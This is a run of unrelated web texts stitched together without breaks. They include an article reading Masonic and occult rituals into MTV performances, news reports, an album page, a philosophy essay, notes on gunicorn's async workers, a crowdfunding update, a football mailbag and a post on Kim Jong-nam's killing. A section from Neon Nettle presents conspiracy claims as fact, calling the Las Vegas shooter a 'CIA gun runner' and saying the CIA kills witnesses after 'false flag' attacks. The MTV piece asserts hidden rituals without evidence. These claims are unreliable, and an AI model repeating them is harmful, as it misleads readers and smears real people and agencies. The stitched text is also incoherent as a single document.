They are unmistakable Masonic symbols, as depicted on this lithograph:
This obvious reference to Freemasonry hints to the occult and ritualistic aspect of Gaga’s performance. Masons are known to carry out ritual dramas in their lodges; live re-enactments of allegorical stories. Gaga’s performance symbolizes her rise to fame and the sacrifice she had to make in order to succeed.
When the bloody Gaga is lifted into the air, an eerie light comes out from between the pillars and the dancers lift their arms in the air in praise. Many ancient religions carried out ritual sacrifices to please the gods. Blood sacrifices have also been viewed by black magicians as the ultimate way to collect spiritual energy. The final scene of the performance conveys the presence of this mysterious “force” after a sacrifice.
Right after her performance, Gaga appears dressed all in red, with her face completely covered in red. She is basically a walking, talking blood sacrifice. It represents the aftermath of fame, the hellish life that follows the sacrifice, the selling of the soul for success in the music industry.
Pink’s Masonic Initiation
There is no way a Mason could watch this performance without recalling his initiation into the First Degree. Here’s a description by Mark Stavish:
“The candidate for initiation is stripped of all material possessions and dressed in a strange and peculiar garb (…). This includes a blindfold and a length of rope called a cable tow.”
He continues
“The blindfold used represents secrecy, darkness and ignorance as well as trust. The candidate is led into the lodge room for initiation but is not able to see what is happening. He is bound about the waist and arm with the cable tow.”
-Mark Stavish, Freemasonry: Rituals, Symbols and History of the Secret Society
Pink is blindfolded and bound with ropes. Her costume exposes her left breast, as is the case with Masonic initiates. Instead of having her left leg exposed, Pink’s costume bears a diamond pattern which is very reminiscent of the floors in Masonic lodges.
Pink’s performance was a dizzying display of acrobatics which undoubtedly left her (and the viewers) totally disoriented. This is also a feature of Freemasonry’s First Degree initiation:
“He is then blindfolded and a cord in the form of a noose is passed round his neck. At this point the novice is entering the marginal stage, associated with ordeals; he cannot see, his sense of direction has been confused and he has been dressed like a victim for execution.”
-J.S. La Fontaine, Initiation – Ritual Drama and secret knowledge across the world
Pink’s performance was yet another blatant reference to ritual dramas in occult orders.
Taylor Swift’s Acceptance into the Order
After Swift’s public humiliation, Beyonce, the queen of the ceremony, calls her up on stage to let her “have her moment”. She appears from backstage (as if awaiting her cue) in a red dress which is strikingly similar to Beyonce’s. A reader of this site has noticed that at the moment the two singers hug, a strange phrase appears on the screen behind them saying “RDFO IL 40 PRO DEL ATO”. I have no idea what that means, but it was there. If you solve this enigma, be sure to post it in the comments. **Editor’s note** Pretty sure it means “Ilford Delta Pro film”.
Taylor Swift being called on stage represents the fact that she has now been accepted as an equal to Beyonce and has become one of the “chosen ones”. The matching dresses also convey this sense of belonging to a new group. She has “passed the test” – the ordeal of being humiliated – and she can now reap the rewards of being an insider.
In Conclusion
Award ceremonies like the VMAs define and crystallize the pop culture of an era. They consecrate the chosen artists while leaving the others dwelling in the shadows of anonymity. As shown above, the whole show was heavily permeated with occult symbolism, primarily focusing on the “initiation” aspect of it. Why is MTV exposing young people (who know nothing about occultism) to such rituals? Is there a subliminal effect on the viewers? Are we educating the new generation to accept these symbols as part of popular culture? There is definitely a second layer of interpretation in many of MTV’s products. To decode the symbols is to understand the inner-workings of the entertainment industry.Extortion squad probes Sydney bomb drama
Updated
Sorry, this video has expired Video: Community stunned by hoax bomb drama (ABC News)
Police are investigating whether the family at the centre of last night's hostage bomb scare has been the subject of threats in the past.
Bomb disposal experts spent 10 hours trying to free a young woman who had a suspected bomb strapped around her neck at her home in the North Shore suburb of Mosman.
Eighteen-year-old Madeleine Pulver was finally freed about midnight after an operation which included explosives experts from the Australian Federal Police and the British military.
But police later confirmed the box-shaped device which had been strapped around her neck was a fake.
Assistant Commissioner Mark Murdoch said the man who strapped the bomb to Ms Pulver had left instructions which contained a "precise... serious threat".
The first two hours of the delicate operation were left to a junior female officer who was left alone with the 18-year-old to make sure she did not move.
Commissioner Murdoch said the policewoman had no specialist training or protective gear.
"When you consider the young woman was just a young woman herself, I suppose she put herself in Madeleine's mother's position and there was no way she was going to leave Madeleine alone and unsupported," he said.
The investigation is being led by the Robbery and Serious Crime Squad, which deals with extortion.
Ms Pulver is the daughter of William and Belinda Pulver, who are reportedly one of Sydney's wealthiest couples.
Detectives are investigating whether the Pulver family has been threatened in the past but are refusing to say whether the bomb scare is linked to a recent series of extortion attempts threatening harm to the children of Sydney families.
Neighbours shocked
The family's neighbours on Burrawong Avenue include racing identity Gai Waterhouse.
A neighbour and friend of the family who did not want to be named told the ABC he was shocked by last night's events.
He said when he first heard of the incident he thought it was a joke.
"If there is anyone to keep it together the whole time, through the whole of the ordeal, it would be her. She is probably the strongest person I reckon in that situation," he said.
Another neighbour said the events had unnerved her family and her neighbourhood.
"I think anybody living around the area is unnerved," she said.
"I am so pleased for the family, mainly the mother. I've got a teenage daughter and that's the thing, you want them to be safe."
'Sophisticated device'
Earlier this morning Commissioner Murdoch described the fake bomb as a "very elaborate, very sophisticated device".
"The manner in which it was located in proximity to the young lady was such that it has taken us the better part of 10 hours to secure her release," he said.
"Certainly anything that has taken us and our bomb techs, who are amongst the best in the business anywhere in the world, taken them 10 hours to come to grips with, and make sure that the young lady is safe, is a big task.
"The device and the scene, as best we could, were examined for explosives on a number of occasions."
He insisted it was too early to speculate on a motive for the crime.
"Certainly the family are at a loss to explain this, but you wouldn't expect someone would go to this much trouble if there wasn't a motive behind it," he said.
Police are calling for witnesses and anyone who might have information about the situation to call CrimeStoppers on 1300 333 000.
Like a movie
Prime Minister Julia Gillard says the bomb threat was like something you would expect to see in a movie.
"When I looked at it this morning the first thing I said was it's like a Hollywood script," she said.
"But you would never expect [it] to happen in real life in Australia so it's truly shocking."
New South Wales Premier Barry O'Farrell has praised police for last night's operation, saying he was shocked as he watched the events unfold.
"I'm happy to wait for all the facts to come out but no-one will want any member of their family to go through the ordeal this woman did," he said.
"I can commend police for all their efforts, for the sensitivity with which they handled this matter, and for the fact we had a successful outcome not a tragedy."
Map:
Topics: crime, law-crime-and-justice, mosman-2088, australia, nsw
First postedDepartment of Immigration and Border Protection (DIBP) have released the new Skilled Occupations List (SOL) for 2016-17.
Language English
Department of Immigration and Border Protection (DIBP) have released the new Skilled Occupations List (SOL) for 2016-17.
This list will come into effect from 1st July, 2016.
The Skilled Occupations List is used for 189 (Skilled Independent Visa), 489 (Skilled Regional Provisional Visa) and 485 (Graduate Temporary Visa) visa applications.
The DIBP have also released the Consolidated Sponsored Occupations List (CSOL) which is used for 190 (Skilled Nominated Visa), 457 (Temporary Work Skilled Visa) and 186 (Employer Nominated Scheme) visa applications.
Here’s the SOL 2016-17
(Source: https://www.legislation.gov.au/Details/F2016L00800)
For CSOL 2016-17, click here.
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'Year Under Glass' CD Compact Disc (CD) + Digital Album Bear the Mammoth's sophomore album 'Years Under Glass' on CD.
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'Year Under Glass' Vinyl Record/Vinyl + Digital Album Bear the Mammoth's sophomore album 'Years Under Glass' on LP. White with black marble vinyl.
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Art As Catharsis is proud to announce Bear The Mammoth's Years Under Glass – a progressive post-rock classic with plenty to digest underneath its rich layers and textures.
Bear The Mammoth’s dreamy production and drifting progressions have earned them fair comparisons to the likes of Mogwai, sleepmakeswaves, Explosions in the Sky, Sigur Rós and Bossk. Their sound boasts a level of polish that easily matches, even surpasses, their post-rock contemporaries in both the national and international scene. Since their first EP in 2012, the band have since supported progressive and metal artists such as Anathema, We Lost The Sea, Jakob, Closure In Moscow and countless others, only proving this point further.
“I think musically we are older, wiser and have a much more open mindset with music and what it can be,” says guitarist James Kershaw on writing Years Under Glass. “Everyone’s music taste has evolved and gone off into a variety of genres. We've also had an obsession with trying different effect pedals and equipment. When we experiment with our pedals and create some different sounds in a jam, we're trying to find something that stands out. Sometimes we'll get a reaction of a shock or surprise from other band members – if this happens, we know we're making the right sounds.”
The album’s first single, Known Unknowns, is a journey within itself. Riddled with floating riffs and subtle undercurrents, the song slowly flows into a triumphant crescendo before sliding into a more straightforward riff-driven jam. All in all, the song stands as a perfect example of the album’s strengths – shifting moods, rich textures and breathing room for each instrument to shine.
“I would say the biggest lesson we learnt since our first album, Yamadori, was to take our time with the whole process,” says Kershaw. “On Years Under Glass, we took our time to really nail it. Hopefully people will hear that through when listening. We recorded Years Under Glass the same way as Yamadori; live to tape with Nao Anzai behind the desk. We also think changing studios to Head Gap has brought out the feel and tones we were after.
Over the course of Years Under Glass, Bear The Mammoth sets more than just a few elaborate musical soundscapes. Militant drumming patterns, howling, cold riffs and warm bass lines create something both weightless as a cloud, yet as grounded as an earthquake. Wrapped up with a flawless, crisp level of production and instrumental polish, Years Under Glass has the makings of a post-prog classic from start to finish.
credits
All music written and performed by Bear the Mammoth
Bear the Mammoth is:
James Carman - Drums
Stephen Evans - Bass
James Kershaw & Ben Sharpe - Guitar
Recorded at Headgap Studios. Preston. 2018
Produced by Naomune Anzai
Artwork by Mélanie Robak
Layout & design by James Kershaw
Released with Art As Catharsis 2018
www.bearthemammoth.com released October 5, 2018All music written and performed by Bear the MammothBear the Mammoth is:James Carman - DrumsStephen Evans - BassJames Kershaw & Ben Sharpe - GuitarRecorded at Headgap Studios. Preston. 2018Produced by Naomune AnzaiArtwork by Mélanie RobakLayout & design by James KershawReleased with Art As Catharsis 2018
license
all rights reservedBy Alyssa McMurtry
MADRID
Spanish police raided the Madrid headquarters of Spain’s ruling Popular Party late Thursday as part of an ongoing investigation corruption, local media reported.
The Civil Guard searched the local offices for evidence of illegal party financing.
The operation is related to an investigation into a bid-rigging ring allegedly used by corrupt politicians to collect bribes for awarding public contracts. Prosecutors suspect public contracts worth up to 250 million euros ($281 million) were granted by corrupt officials.
The investigation -- dubbed Operation Punica -- led to the arrest of 35 prominent mayors, politicians and business people in October 2014 in several Spanish regions.
The raid followed the discovery of notes by Francisco Granados, a major suspect who was once the right-hand man to Esperanza Aguirre, the former Madrid president.
Javier Maroto, a member of the party’s national board, called for a “purge” on corruption in the Popular Party, saying it was needed “no matter who it takes out”.
However, Aguirre, who heads the party’s Madrid branch, said there was “no evidence and no proof of any kind of illegal financing”. She added that the party was fully cooperating with police.
The scandal is one of several currently plaguing Prime Minister Mariano Rajoy’s party.
In January, police arrested 24 high-profile Popular Party politicians and businessmen in Valencia over allegations of operating a similar corruption ring. Several of the party’s politicians are implicated in the Princess Cristina trial, in which the sister of the Spanish king is accused of collaborating in |
goodness intersect. To live the truth is to try to do what truth requires—to do what contributes to blessed faithfulness. And to do what truth requires is to embrace and promote that which is good. To live the truth, then, we must seek the good.
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"We certainly should not let politicians, business leaders, or academic administrators get away with regularly dishing out what American philosopher Harry Frankfurt calls bullshit. Rather, we should dispute their duplicity, even as we call out those who ignore the evidence."
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To resist the truth, by contrast, is to ignore or refuse what truth requires—to block blessed faithfulness. Such ignorance or refusal goes hand in hand with an embrace of that which is evil. Indeed, persistent and deep-seated falsehood feeds into what I call “the Lie.” The Lie is much more than a simple fib, much more than intentionally saying something inaccurate or incorrect in order to deceive. The Lie completely and deliberately twists all that is good in order to promote evil.
Yet to resist the Lie, one must also challenge factual falsehood. And that means refusing to give up a distinction between factual truth and factual untruth. It also means we hold everyone accountable to standards of accuracy and correctness. We certainly should not let politicians, business leaders, or academic administrators get away with regularly dishing out what American philosopher Harry Frankfurt calls bullshit. Rather, we should dispute their duplicity, even as we call out those who ignore the evidence, distort the facts, and deliberately lie; these are egregious offenses, and they unravel the fabric of a democratic society.
In addition to challenging factual untruth, however, to live the truth requires us to resist evil in all of its other manifestations. Here I distinguish evil for which each of us is individually responsible from evil for which we have collective responsibility. I am especially concerned about collective evil that has become so entrenched in our cultural practices and social institutions that we find it hard both to take responsibility for it and to resist it. I call such entrenched collective malevolence “societal evil.” A society’s ongoing destruction of the Earth, oppression of the poor, and hostility toward so-called aliens are prime examples of societal evil.
The call to live the truth requires us to resist societal evil. But it also requires us to recognize the limits to our own resistance. There are two limits. First, individual and organized efforts to resist societal evil can do only so much. Acknowledging this limit need not encourage passivity. Instead it should spark both focused creativity and long-range vision in our resistance. Second, viable resistance must embody the spirit of truth. This second limitation is crucial. Deeply entrenched societal evil has a pervasive direction: the direction of the Lie, of what completely and deliberately twists the good. Only in the spirit of truth can societal evil be truly resisted, for only as we cling to the good can we stand up to the Lie.
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"Philosophy can also help us take the measure of societal evil by providing a critique of society as a whole. Such a critique is enormously difficult. Yet it is essential for wise resistance."
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I’m not suggesting we should be naïve about the deep-seated violence we face. Yet, as Canadian singer-songwriter Bruce Cockburn recognizes on his 1980 album Humans, to be true, our resistance must not embody the spirit of what we resist, such that we become “grim travellers”:
Bitter little girls and boys from the Red Army Underground
They’d blow away Karl Marx if he had the nerve to come around
They’re just grim travellers in dawn skies
See the beauty—makes them cry inside
Makes them angry and they don’t know why
They’re grim travellers in dawn skies
We do not need grimness. Instead we need an articulate sense of the good we seek, as well as a spirited critique of the evil we resist.
Here true philosophy can help. On the one hand, it can help us sort out the diverse goods in our lives and spell out which ones matter most for society as a whole. I have in mind shared societal principles such as justice, resourcefulness, and solidarity that can guide not only the lives of individuals and communities but also the cultural practices and social institutions in which all of us participate. In a contemporary setting, such principles are what call for human faithfulness; when honored, they carry a promise of blessing.
On the other hand, philosophy can also help us take the measure of societal evil by providing a critique of society as a whole, what my book Religion, Truth, and Social Transformation calls an architectonic critique. Such a critique is enormously difficult. To a large extent, it has fallen out of philosophical fashion. Yet it is essential for wise resistance. We need to understand how the current organization of society both blocks and permits blessed faithfulness. We also need to detect the sore spots where suffering gathers and where social transformation can begin.
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"Human beings are called to be faithful to societal principles such as justice and solidarity, and these principles are embedded in human history. Yet societal principles also remain open to a future where, right now, we can scarcely imagine what justice and solidarity will mean and require."
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An architectonic critique would lose its point, however, if there were no hope for a better future—not what Terry Eagleton in Hope without Optimism calls “the banality of optimism,” but genuine hope—a theme quite foreign to the mainstreams of Western truth theory. Hope for a better future has ripple effects in the present, both in our seeking the good and in our resisting evil. Living in such hope, we can neither regard our current dealings and institutions as fully “in the truth” nor despair over the depth and power of societal evil. This implies, in turn, that contemporary philosophy needs to be more than a love of comprehensive wisdom that helps us sort out societal principles and articulates an architectonic critique. For philosophy’s love must be a hopeful love: it must remain open to a future whose surprises surpass philosophical comprehension.
That is why, in my own attempt to reconceive the idea of truth, I insist on the future-oriented openness of both societal principles and what I call the “life-giving disclosure of society.” Human beings are called to be faithful to societal principles such as justice and solidarity, and these principles are embedded in human history. Yet societal principles also remain open to a future where, right now, we can scarcely imagine what justice and solidarity will mean and require. So too, human beings, in their fidelity to societal principles, are called to promote a society where human beings and other creatures come to flourish in their interconnections. Yet we need to relativize our efforts, recognizing how the society we hope for also lies beyond our striving, and how our fidelity to societal principles does not suffice to bring it about.
Hence I describe truth in its broadest sense as a dynamic correlation between human fidelity to societal principles and a life-giving disclosure of society. In light of the Jewish and Christian wisdom traditions, I also insist that there is more to truth—more to blessed faithfulness—than our current fidelity and disclosure can achieve. And this “more” challenges the prevailing Western concept of truth as a static correspondence between assertions and facts. For there is always more to truth, more even to factual truth, than a static correspondence can capture. Hope for the future must be part of a comprehensive conception of truth, including factual truth. Although this seriously complicates any attempt to provide a theory of factual truth, such complications deserve philosophical attention. Otherwise, insofar as it reduces truth to factual accuracy and questions even that, philosophy will be complicit in the violence that thrives in a post-truth world.A key witness in the Las Vegas shooting massacre has killed himself and his disabled daughter in a horrific murder-suicide shortly after the FBI raided his home.John Beilman was wanted for questioning by federal agents in connection with a communications device discovered in suspected shooter Stephen Paddock’s hotel room.Investigators searched Beilman’s Fairport home the day before he shot his severely disabled daughter and himself, according to sources close to the investigation.Agents executed a search warrant and raided Beilman’s Williamsburg Drive home the day before he took his daughter, Nicole, into the backyard and shot her and then himself in the back of the head with a 12-gauge shotgun.John Beilman’s 27-year-old daughter, Nicole, had Rett Syndrome, a rare neurological disorder.Nicole Beilman relied upon a wheelchair and was dependent on her parents for care.
According to this report, upon the FBI searching the Mandalay Bay Hotel room used by CIA gun runner Stephen Paddock, a cell phone charger was discovered that had no accompanying phone—with SVR technology experts noting that this type of charger is used to charge a CP502520 3.0V 600mAh Li-MnO2 Non-rechargeable Thin Cell Battery used in various communication devices by both US Special Forces and CIA forces.The company making this unique lithium battery, this report details, is Ultralife Corporation, based in Newark, New York, that specializes in military communications systems for the Pentagon—and whose lead engineer for this particular communication systems development was John Beilman.Listing himself as a “product design and manufacturing professional”, this report continues, John Beilman was employed by Ultralife Corporation between 2007-2012 where he worked on various top-secret communications systems for the US military—thereafter his leaving to become a top engineer at the General Motors research facility located in Rochester New York.Fearing that Ultralife Corporation had been secretly funneling their US military communications systems to the CIA, this report notes, this past Tuesday (3 October), the FBI raided the home of John Beilman under a secret US Federal Court warrant—and that caused Beilman, less than 12 hours later, during the early morning hours of Wednesday (4 October), to wheel out his severely disabled daughter Nicole into his home’s backyard where she was executed, with Beilman then killing himself too—and that was followed 48 hours later (6 October) by the Pentagon awarding Ultralife Corporation new contracts valued at over $49 million.
The CIA, this report further notes, has long been known to eliminate witnesses to their “murder sacrifice” “false flag” operations—and that includes the hundreds of witnesses mysteriously killed following the 9/11 “Tower Sacrifice”, and the, likewise, hundreds of witnesses mysteriously dying following the “King Sacrifice” murder of President John F. Kennedy—and that London’s Sunday Times reported the “the odds against these witnesses being dead by February 1967, were one hundred thousand trillion to one.”The FBI claim they didn’t protect, or at the very least put under 24-hour surveillance, John Beilman following their raid on his home, due to American domestic intelligence experiencing a manpower shortage in their Las Vegas massacre investigation.
According to D&C, John Beilman committed the murder-suicide shortly after 5:20 a.m., Fairport police say.Fairport police said Beilman’s wife, Donna Beilman, was inside the home and did not hear the shots that took the life of her husband and daughter. Fairport Police Chief Samuel Farina said John Beilman left behind a “goodbye note” to his wife that indicated the circumstances of the shooting but not a motive.A neighbor of Beilman reported that he saw two police cars near the home the day before the killings. Farina said this week that police had not responded to any calls at the home.The FBI and federal prosecutors declined to comment.
A federal magistrate judge would have approved a search of the home. However, approval of a search does not ensure a crime was committed; instead, it is a search for evidence of a crime.Records of federal searches are often filed under seal, and there was no public record available Friday of the search of the Fairport home.
© Neon NettleREUTERS/Eduard Korniyenko A statue of the founder of the Soviet state Vladimir Lenin.
Russia's economy minister Alexei Ulyukayev borrowed a quote from communist revolutionary Vladimir Lenin in his speech to the Gaidar Forum in Moscow today.
Ulyukayev cited the founder of the Soviet Union as he told guests at the economic summit that the era of peace is over to be "replaced by an era of relatively much more impulsive, spasmodic, disastrous, conflict", according to Russian business daily Vedomosti. However, he assured his audience that there was "no reason to panic" because the Russian budget is healthier than it was in 2008.
He advised people to look after their loved ones rather than worry about oil prices and sanctions.
The minister's comment comes after months of turmoil for the country, as oil prices have plunged by more than 50% since June last year. Russia is still heavily reliant on the commodity to fund its government budget and fuel economic growth.
Moreover, the country has also been battered by a combination of Western economic sanctions that have frozen a number of large Russian companies out of international markets, and tit-for-tat sanctions imposed by Moscow on Western goods that have helped drive inflation up to 11.2% in December.
The country is now widely expected to fall into a recession this year, with the World Bank the latest institution to downgrade its forecasts. It now expects Russia to contract by 2.9% through 2015 instead of growing by 1.5%.
Russia's finance minister Anton Siluanov, who was also speaking at the event, was far less sanguine about government finances. He estimated that at $50 a barrel, Russia's federal budget will lose 3 trillion rubles ($45.4 billion) in revenue. In order to accommodate this, the government will be required to institute 10% cuts to all departments other than defence, he said, and may have to take 500 billion rubles out of the reserve fund in order to cover the rest of the losses.
More From Business InsiderUnderstanding gunicorn's async worker concurrency model
Recently I decided to investigate the internals of our chosen application server, gunicorn, to better understand the async worker model. In particular, I wanted to understand how requests were concurrently processed, and any performance tradeoffs this entailed. These are some notes I made along the way.
What is gunicorn?
First, let's cover some fundamentals of gunicorn's design. Gunicorn is a WSGI HTTP server. WSGI is a standard (PEP 333) which specifies how Python applications interface with a web server.
Gunicorn uses a pre-fork worker model, meaning that one master process forks to create child process(es) which handle the actual HTTP requests.
Where this gets more complex is that gunicorn can use different types of worker processes, depending on how it is configured. Two types of worker processes are sync and async (there is a third, tornado, which I won't cover here).
Sync workers handle one HTTP request at a time. These are suitable if, for instance, the work your application does is likely CPU-bound (apart from the actual socket I/O).
Async workers can handle multiple requests concurrently (but not in parallel). In effect, a worker can yield mid-request to handle another request, then resume handling the prior request at a later point. This is useful when, for instance, your application makes an external service call (i.e. is I/O bound) since it can handle another incoming request without waiting for the external service call to complete.
In our application, almost all requests make external service calls, so async workers are the most appropriate worker type.
Coroutines and concurrent request handling
We'll now look at how these async workers achieve non-blocking request processing. For simplicity, let's assume the only type of async worker available is gevent.
To understand these async workers, we must understand the libraries and programming model they are built upon.
Coroutines may switch their flow of control to another coroutine and resume execution at the same point later. The following pseudocode (adapted from the gevent tutorial) shows two coroutines, worker_a and worker_b yielding execution to each other.
There is an excellent description of coroutines here which would be a good thing to read at this point.
An important aspect here is that coroutines are cooperatively scheduled, that is, there is no scheduler deciding which coroutine should run. In terms of concurrent data, this makes local reasoning substantially easier.
Greenlet is a library implementing coroutines in Python.
As a side note, greenlets are compatible with Python threads. It's perfectly possible to have multiple threads, each with its own greenlets, but these are isolated. Switching will not work across threads.
Building on greenlet
Now that we understand coroutines, let's look at how greenlet provides the foundation for async workers.
Greenlet provides a method of switching context between cooperating functions. This is very useful in an I/O bound context. This brings us to gevent, a coroutine-based networking library built on greenlet.
Here's an example:
This is from gevent For the Working Python Developer which I recommend (MIT License).
So in essence, when something is waiting for I/O, gevent makes it easy to be doing other work. This obviously has big advantages for concurrent networking code, as well as anything else that is I/O bound where the caller can be safely suspended and resumed later.
Gevent will patch standard library functions so that they can be used asynchronously. It's worth noting that, while we haven't experienced any problems with our actual application code, monkey patching is not always problem free.
Concurrency, not parallelism
I noted earlier that requests are handled concurrently by async workers. However, the unit of parallel work is still the OS process, so to utilise multiple CPU cores, multiple worker processes are required. This isn't necessarily a problem, but it's worth being precise about the modes of work available because it impacts how they are scaled.
Finally, you might find this talk on coroutines from PyCon useful.1st Stretch Goal Reached! = Exclusive track to all supporters.
New Stretch Goal is $12,500 = Exclusive 60 minute mix of Original music and investment in visual equipment for music videos.
You guys are completely amazing. We reached the second stretch goal at $12,500, which enables me to purchase some video equipment and also means every kickstarter supporter gets a free track AND a 60 minute exclusive mix of original music.
Here is the final goal. If we can reach $15,000 before the end of the campaign, then I have time at home to work on creating music video(s), which is what Im most excited about for the future. I've been learning software, sketching out timelines, dreaming of making special animated videos. This is the evolution of my art, not only expressing myself musically, but creating short films, animations and videos which tell the visual story which matches the music.
Please tell your friends, share the project. We're so close! 3 days left and I know we can make this next goal.
Big love from my heart to yours,
Evan
Greetings!
After many dreams and visions for the Spacehop Chronicles, I am proud to announce that it's finally time to make them happen! The SpaceHop Chronicles will be a multipart series of electronic music EPs, exploring my background in classical composition, deep harmonics and emotional melodies realized through a combination of analogue synths, digital trickery and kinetic beat sculptures.
The industry is changing, and opening up new possibilities for artists. I believe that working directly with my fans to realize projects is the way forward. Instead of relying on record labels and traditional models, communities can come together to support art and keep the creators surviving to help realize their dreams!
I've come up with some pretty cool rewards, and am deeply excited about the opportunity to print the first official Bluetech release on vinyl.
My break even to get this release out is $7250, and is broken down below. This is the absolute bare minimum break even point. I have faith that not only will we reach this, but exceed it, which will allow me to begin work on Spacehop Chronicles Vol. 2!!!
$2000 - Publicity/marketing/advertising
$1500 - Custom illustration by Orlando Araceno
$2000 - Vinyl Printing
$1000 - CD Printing
$350 - Audio mastering
$400 - Poster and promotional material printing
I was ecstatic to work with one of my favorite Illustrators of all time, Orlando Araceno, and he turned out a ridiculously awesome illustration for this project in record time. The giclee and poster rewards are definitely limited, one time only runs, so if you want one, now is the time to act!
See more of Orlando's work here: http://www.behance.net/orlandoarocena
When I first started working on this release, I made the first track, and named it "Laika". That production finished on Nov. 5th. After completing the track, I did some research about "Laika", the tragic yet beautiful story of the first dog in space, who passed away on her maiden voyage on Nov. 5th. The synchronicity was amazing, and somehow the music captured this idea of world changing exploration and mystery with a melancholic edge. I explained the concept to Orlando, and he perfectly captured the vibe I wanted, with references to classic Communist era space posters, with Laika as our queen of space travel of course.
SpaceHop Chronicles Poster Art
The reward I'm most excited about is the custom illustration/digital painting of one of your dreams. I hope that someone is interested in this, and we get to collaborate into bringing a dream reality into the real world through our discussions and ideas as the visual piece comes together.
See a few of the pieces I've done to realize dream visions below:
I really want this series to be special, and I put as much love and intention into the music as I possibly could, so I hope you join me in creating a success story of crowd funded art and music!
Big love,
Evan Bluetech
Find out more about Bluetech here:
http://www.bluetechonline.com
www.facebook.com/iambluetech
https://soundcloud.com/bluetech9NEWS Broncos Insider Mike Klis answers questions pulled from the Broncos Mailbag.
Do you have a question? Email Mike.Klis@9NEWS.com!
Why, after last year’s awful run defense and when every other position on the team received attention and new competitive blood was no effort made to improve the inside linebacker position?
I just don’t think we are close to be good enough in this position to “stand pat.”
Why, no money? No possibility in finding better talent? Really?
--John Christensen
John—The Broncos’ No. 1 run-stopping inside linebacker is Todd Davis. He does not miss tackles. The No. 2 inside linebacker against the run is Zaire Anderson. The third-best inside linebacker against the run is Brandon Marshall. The fourth-best is Corey Nelson.
Marshall is the best overall linebacker because he also has the speed to stay with running backs and tight ends in coverage. He plays in both the base and sub packages. A three-down linebacker, which is why he got a four-year, $32 million extension last year.
Davis and Anderson play at the same “Mike” linebacker position. Davis comes off the field in sub packages as he’s not strong in coverage, and Anderson doesn’t play much at all because he’s behind Davis.
Last season, Marshall missed five games because of a recurring hamstring strain and was limited in several other games because of the injury. So the Broncos often had Davis, their first-best run stopper, and Nelson, their fourth-best, out there. In sub packages, which the Broncos use at least 60 percent of the time, Nelson was the only linebacker out there. Nelson is the Broncos’ fastest linebacker. He’s terrific in coverage. But because he’s a smaller linebacker, run-stopping is not his strength.
The Broncos retained Davis, a restricted free agent, with a $2.746 million tender this offseason. Marshall has a $2.5 million guaranteed salary after receiving a $10 million signing bonus last year.
The Broncos, thus, have already heavily invested in their inside linebackers. The key to getting better run defense from the position this year is keeping Marshall healthy. And getting bigger, stronger defensive linemen up front so they keep the blockers off Davis and Marshall.
My question is: If C.J. Anderson gets injured/underperforms this season, do the Broncos think about moving on?
Thanks for always keeping us fans up to date!
-Christian Wilson
Christian—This is somewhat of an unfair question to Anderson as the answer would be true to all players. The short answer to your question is, yes. If Anderson is injured or underperforms this season, the Broncos would consider moving on. Anderson is scheduled to make $4.5 million in 2018 and 2019, but none of that money is guaranteed.
But take out Anderson from your question and fill in the name of any other Broncos player and if one of them is injured or underperforms in 2017, that player is in danger of not returning in 2018.
Running back C.J. Anderson #22 of the Denver Broncos rushes the football against the New England Patriots during the AFC Championship game at Sports Authority Field. The Broncos defeated the Patriots 20-18. (Photo by Christian Petersen/Getty Images)
With two possible exceptions: Von Miller and Ron Leary. If 2017 isn’t his year, Miller is still coming back in 2018 as he’s already guaranteed to draw $19 million next season in salary and workout bonus. Leary is guaranteed to make $8 million next year in salary and bonuses.
As for Anderson, he’s guaranteed to make $3 million this season. He’s still the favorite to be the Broncos’ top tailback. The Broncos brought in the great Jamaal Charles but because of his knee injuries, I’d put his chances of making the season-opening roster at 50-50.
His low-guarantee, one-year minimum contract with heavy incentives suggests doubts as to whether he can make it -- but it’s a risk worth taking.
Devontae Booker, in his second year, and De’Angelo Henderson, in his first, will get a chance to emerge as a surprise. If Charles proves healthy, Booker and Henderson may well compete for that game-day No. 3 running back slot. There won’t be four game-day tailbacks as the Broncos are expected to continue to use fullback Andy Janovich with Juwan Thompson again bringing his tailback-fullback versatility to the competition.
You are an outstanding reporter. Loved your session with the Bronco rookies.
But I have a nagging question which I am sure you can find an answer.
Why is it still "Sports Authority Field" when that ship has sailed?
G. Pen
Plainfield, Illinois
G.—Thank you. Thank you, very much. No doubt, the Broncos, the Denver Metropolitan Stadium District and an estimated 2,400 Colorado employees got burned when the former Englewood-based sports retailer officially went belly-up in March, 2016.
The Broncos were forced to play one season at soon-to-be-renamed Sports Authority Field at Mile High in 2016 and considering their first home preseason game is three months away, there’s a chance the ghost company will adorn their home stadium for at least part of this season, too.
The Broncos are trying to secure a new name. The team and the stadium district are working in conjunction with the WME-IMG marketing group to secure a naming rights deal. They have received multiple proposals.
The Sports Authority deal was worth roughly $6 million a year, split evenly between the Broncos and the Stadium District. I would be surprised if the new deal isn’t worth at least $10 million.
Teams say naming rights deals are vital because they fund stadium upgrades.
Much as the Broncos would have liked to have torn down the Sports Authority name yesterday, they also don’t want to rush into a deal with a company that could wind up becoming the next Sport Authority in a few years.
The Broncos were 32-6 at home in the final four years Sports Authority was a viable company; 5-3 at home last year after the retailer filed bankruptcy. No perhaps the Peyton Manning Effect had something to do with this. But it was a shame the “Home of the World Champions” carried the name of a defunct company.
Copyright 2017 KUSAThe Assassination of Kim Jong-nam
The Kim regime has a history of assassinating and murdering its opponents, whether they be South Korean leaders, North Korean officials who’ve fallen from grace, or even Chinese pastors. These assassinations extend to family members as well, most recently, the 2013 execution of Kim Jong-un’s uncle Jang Song-thaek. Kim Jong-nam’s assassination in Kuala Lumpur is the latest tally to the Kim regime assassination log.
For the purposes of this blog post, we stipulate that the killing was a political assassination, though it will take time to prove that definitely. Kim Jong-nam, the older half-brother of Kim Jong-un, was once groomed to be the next leader of the DPRK but fell from grace and subsequently spent the last several years living in Macau and China, where he was provided diplomatic protection. In the past Kim Jong-nam criticized hereditary succession (and hence the legitimacy of his little half-brother’s rule) and voiced his support for reform in the DPRK. Kim Jong-un never forgave him for these transgressions, a fact of which Kim Jong-nam appeared to be well aware; according to South Korean intelligence, Kim Jong-nam sent a letter to Kim Jong-un pleading for his life in 2012.
The bizarre assassination story involves two women assassins poisoning Kim Jong-nam in the budget lounge of the Kuala Lumpur airport. Kim Jong-nam immediately sought medical and police attention but was declared dead en route to the hospital. Thus far two women—one with a Vietnamese passport, the other with an Indonesia passport—have been detained, along with the boyfriend of the Indonesian passport holder. It remains possible that the assassins were in fact North Koreans carrying foreign passports, itself an interesting development. The investigation is ongoing and the autopsy report has not been released.
Kim Jong-nam’s assassination in Kuala Lumpur is the latest tally to the Kim regime assassination log.
